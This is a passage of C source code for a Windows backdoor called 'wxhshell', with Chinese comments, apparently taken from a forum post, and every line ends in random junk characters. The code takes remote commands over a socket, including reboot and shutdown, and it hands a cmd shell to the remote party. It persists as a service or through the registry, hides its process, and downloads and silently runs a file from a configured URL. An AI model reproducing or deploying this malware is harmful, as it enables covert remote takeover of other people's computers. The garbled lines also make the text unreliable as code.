  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ]jtK I4  
  } |!1Y*|Q%s  
  else { ,MdV;j ~"'  
NiNM{[3oS  
    switch(cmd[0]) { j5QuAU8  
  .sxcCrQE  
  // 帮助 O)C\v F#  
  case '?': { zE336  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); hP=WFD&  
    break; 1[mXd  
  } xj<Rp|7&  
  // 安装 Um }  
  case 'i': { OPetj.C/a  
    if(Install()) S$f9m  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~De"?  
    else +s"hqm  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ,QOG!T4  
    break; +cD<:"L'g  
    } #=D) j  
  // 卸载 :<ka3<0%  
  case 'r': { <vnHz?71c  
    if(Uninstall()) b1?#81  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); teOe#*  
    else s6ZuM/Q  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); jG6]A"pr  
    break; H ;7(}:.  
    } j>*S5y.{  
  // 显示 wxhshell 所在路径 4qN{n#{+]  
  case 'p': { Rh3eLt~|(  
    char svExeFile[MAX_PATH]; }elc `jj  
    strcpy(svExeFile,"\n\r"); HpR]q05d  
      strcat(svExeFile,ExeFile); d4m=0G`  
        send(wsh,svExeFile,strlen(svExeFile),0); .0p0_f=  
    break; ZWii)0'PV  
    } R]Vt Y7}i,  
  // 重启 G !<Z.]  
  case 'b': { ~Xw"}S5  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); -B>++r2A^  
    if(Boot(REBOOT)) 214Ml0/%  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); JHW "-b  
    else { h&|[eZt?F  
    closesocket(wsh); HvUxsdT  
    ExitThread(0); YSs)HV.8  
    } 062,L~&E  
    break; "MxnFeLM#  
    } Okgv!Nt8)A  
  // 关机 kHk px52  
  case 'd': {  ^le<}  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); [M?}uK ^  
    if(Boot(SHUTDOWN)) zqd@EF6/bz  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); LU+3{O5y  
    else { t^VwR=i  
    closesocket(wsh); Bm.afsM;  
    ExitThread(0); 6T>mW#E&  
    } Y4%:7mw~=  
    break; DDvh4<Hk  
    } s J\BF  
  // 获取shell ke{8 ^X~#  
  case 's': { 7t3X)Ah  
    CmdShell(wsh); |VKK#J/  
    closesocket(wsh); #w;v0&p  
    ExitThread(0); rI{=WPI&WU  
    break; "B8Q:  
  } TbA}BFT`  
  // 退出 $JSL-NkE  
  case 'x': { qsL) }sC^8  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Gk967pC  
    CloseIt(wsh); 5Y?L>QU"  
    break; D>|H 2  
    } E"\/ M  
  // 离开 ~Xr=4V:a+  
  case 'q': { ml2_ ]3j!  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); agkA}O  
    closesocket(wsh); <DpevoF  
    WSACleanup(); >PB4L_1  
    exit(1); <CRP ^_c  
    break; QU#w%|  
        } b>_o xK  
  } #1J &7F1  
  } Yi .u"sh]  
TP VVck-T8  
  // 提示信息 BMhy=+\  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); [vge56h  
} U -Y03  
  } AUeu1(  
rMXN[,|v  
  return; 6Vww;1 J  
} ]I-Z]m "  
Rn#KfI:{  
// shell模块句柄 7ByTnYe~S  
int CmdShell(SOCKET sock) ]&?Y~"{cD  
{ 3WN`y8l  
STARTUPINFO si; "rTQG6`  
ZeroMemory(&si,sizeof(si)); F8hw #!Aq  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; XttqO f  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; KuWWUjCE  
PROCESS_INFORMATION ProcessInfo; h a|C&G  
char cmdline[]="cmd"; !GOM5z,  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); EJ@?h(O  
  return 0; h1:aKm!  
} KN$}tCU  
>oea{u  
// 自身启动模式 )S`jFQ1  
int StartFromService(void) ktI/3Mb@  
{ ^L0d/,ik  
typedef struct )i q-yjO6  
{ j0Bu-sO$w  
  DWORD ExitStatus; YNYx>Ue  
  DWORD PebBaseAddress; og4UhP^UET  
  DWORD AffinityMask; ?MXejEC  
  DWORD BasePriority; .id)VF-l  
  ULONG UniqueProcessId; `{,Dy!rL  
  ULONG InheritedFromUniqueProcessId; @|LBn6q  
}   PROCESS_BASIC_INFORMATION; *Kyw^DI  
f5F@^QXQ  
PROCNTQSIP NtQueryInformationProcess; I[b}4M6E  
>tTj[cMJl  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; & +4gSr  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ##KBifU"  
)q 0.0<f  
  HANDLE             hProcess; dlU'2Cl7d  
  PROCESS_BASIC_INFORMATION pbi; ur*T%b9&  
^Y<|F!0  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ANvRi+ _  
  if(NULL == hInst ) return 0; qs|mj}?  
. 7zK@6i  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); |M8WyW  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ?in|qevL  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); dX\.t <  
"8'@3$>R=  
  if (!NtQueryInformationProcess) return 0; 3VuW#m#j  
ktK_e  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); $f,n8]  
  if(!hProcess) return 0; PpV'F[|,r  
tS|9fBdCs  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Ys -T0  
,\X@~ j  
  CloseHandle(hProcess); >a"Z\\dF  
GQ*wc?f3  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); u4.ngjJ  
if(hProcess==NULL) return 0; ,B08i o-  
GFfq+=se  
HMODULE hMod; D,;\o7V  
char procName[255]; wtmB+:I  
unsigned long cbNeeded; O_cbP59Y.  
?gJOgsHJP  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); V~S0hqW[  
0OT\"O~S[  
  CloseHandle(hProcess); ~ns7O  
T(AVlI6  
if(strstr(procName,"services")) return 1; // 以服务启动 S5KEXnjm  
hj  
  return 0; // 注册表启动 )>b.;  
} jAy^J(+  
ak ->ML  
// 主模块 z?[r  
int StartWxhshell(LPSTR lpCmdLine) BJgW,huLy  
{ }K1JU`Lz  
  SOCKET wsl; T|6jGZS^|W  
BOOL val=TRUE; {D? 50Q  
  int port=0; bKj%s@x  
  struct sockaddr_in door; 3 N7[.I>A  
M~WijDj  
  if(wscfg.ws_autoins) Install(); LUH"  
RG3l.jL  
port=atoi(lpCmdLine); 3<k`+,'  
u\LiSGePN  
if(port<=0) port=wscfg.ws_port; uum;q-"  
F.-R r  
  WSADATA data; lE!a  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; GM<BO8Y.  
@mE)|.f  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   af#pR&4}   
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); #Y0-BYa^  
  door.sin_family = AF_INET; xY+VyOUs  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); *.~6S3}  
  door.sin_port = htons(port); cCo`~7rE  
+j(d| L\  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { !>BZ6gn5  
closesocket(wsl); v^)bhIPe;  
return 1; +E1I");  
} JT "B>y>  
Dq36p${ \W  
  if(listen(wsl,2) == INVALID_SOCKET) { P&j (,7  
closesocket(wsl); )+6v  
return 1; psnTFe  
} K`/`|1  
  Wxhshell(wsl); $&$w Y/F  
  WSACleanup(); |} {B1A  
Ubh{!Y  
return 0; 1QcT$8HA  
gXonF'  
} R)F;py8)I  
>w-;Z>3Q@  
// 以NT服务方式启动 j. *VJazb;  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) !(n4|Wd  
{ V[}4L| ad  
DWORD   status = 0; >N;F8v  
  DWORD   specificError = 0xfffffff; Ypeiy `.  
U~} U\_  
  serviceStatus.dwServiceType     = SERVICE_WIN32; HDda@Jy  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; {fha`i  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; [zL7Q^~  
  serviceStatus.dwWin32ExitCode     = 0; 6ZKsz5:=  
  serviceStatus.dwServiceSpecificExitCode = 0; JJltPGT~Oa  
  serviceStatus.dwCheckPoint       = 0; :(a]V"(&Eq  
  serviceStatus.dwWaitHint       = 0; e1>aTu@  
! iptT(2  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); %V1Z~HC  
  if (hServiceStatusHandle==0) return; P6 ;'Sza  
Di@GY!  
status = GetLastError(); N[<H7_/3  
  if (status!=NO_ERROR) `((Yc]:7  
{ qw7@(R'"  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; iT;@bp  
    serviceStatus.dwCheckPoint       = 0; DHw&+MY  
    serviceStatus.dwWaitHint       = 0; P y>{t4;S  
    serviceStatus.dwWin32ExitCode     = status; `+zWu 55;  
    serviceStatus.dwServiceSpecificExitCode = specificError; >iOzl wmG  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); eVt$7d?Jw  
    return; aWwPvd3  
  } v~T7`  
:Gu+m  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; qS/V"|G(  
  serviceStatus.dwCheckPoint       = 0; 4B4Z])$3  
  serviceStatus.dwWaitHint       = 0; s0*0 'f  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); L4b:F0  
} ) c/% NiN  
< -uc."6\  
// 处理NT服务事件,比如:启动、停止 'Q =7/dY3I  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ~`GhS<D  
{ kdxz!  
switch(fdwControl) BnCKSg7V  
{ ed!:/+3e/  
case SERVICE_CONTROL_STOP: zF@o2<cD@  
  serviceStatus.dwWin32ExitCode = 0; <W`#gn0b6  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ?9HhG?_x  
  serviceStatus.dwCheckPoint   = 0; RP 2_l$  
  serviceStatus.dwWaitHint     = 0; WpS1a440  
  { (faK+z,*6R  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); %*o8L6Hn  
  } 'qArf   
  return; B d^"=+c4  
case SERVICE_CONTROL_PAUSE: Fhv2V,nZ<  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; T1` |~Z?g-  
  break; C@Nv;;AlU  
case SERVICE_CONTROL_CONTINUE: K*IxUz(  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; }m/RZP~=  
  break; 2>]a)  
case SERVICE_CONTROL_INTERROGATE: T/c<23i  
  break; !Oj)B1gc6&  
}; F$Ca;cP"  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); c{>uqPTY  
} /w8"=6Vv~  
fQ'.8'>T  
// 标准应用程序主函数 0l=+$& D  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) E"%2)  
{ Aj9Ji"18za  
hKNY+S})g  
// 获取操作系统版本 ~"lJ'&J}  
OsIsNt=GetOsVer(); v[TYc:L=  
GetModuleFileName(NULL,ExeFile,MAX_PATH); WKpA|  
!mRx$ %ul  
  // 从命令行安装 q8Nn%o=5V  
  if(strpbrk(lpCmdLine,"iI")) Install(); \ A%eG&  
-/ x W  
  // 下载执行文件 1[E#vdbT  
if(wscfg.ws_downexe) { 4Hb $0l  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) '~ 4pl0TWc  
  WinExec(wscfg.ws_filenam,SW_HIDE); T"T;`y@(  
} 1AHx"e,;L  
g7CXlT0Q6  
if(!OsIsNt) { W%e_~$H0  
// 如果时win9x,隐藏进程并且设置为注册表启动 Sf/q2/r?6[  
HideProc(); x|0:P sE  
StartWxhshell(lpCmdLine); #5&jt@NS  
} P F`rWw  
else {SZ% Xbo  
  if(StartFromService()) <w>/^|]#  
  // 以服务方式启动 ?Pwx~[<1""  
  StartServiceCtrlDispatcher(DispatchTable); D -IR!js ]  
else ~:lKS;PRuK  
  // 普通方式启动 o5Y2vmz?9  
  StartWxhshell(lpCmdLine); T#!lPH :&h  
T;\^#1  
return 0; C}?0`!Cc%  
}
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只看该作者 1 发表于: 2006-10-10
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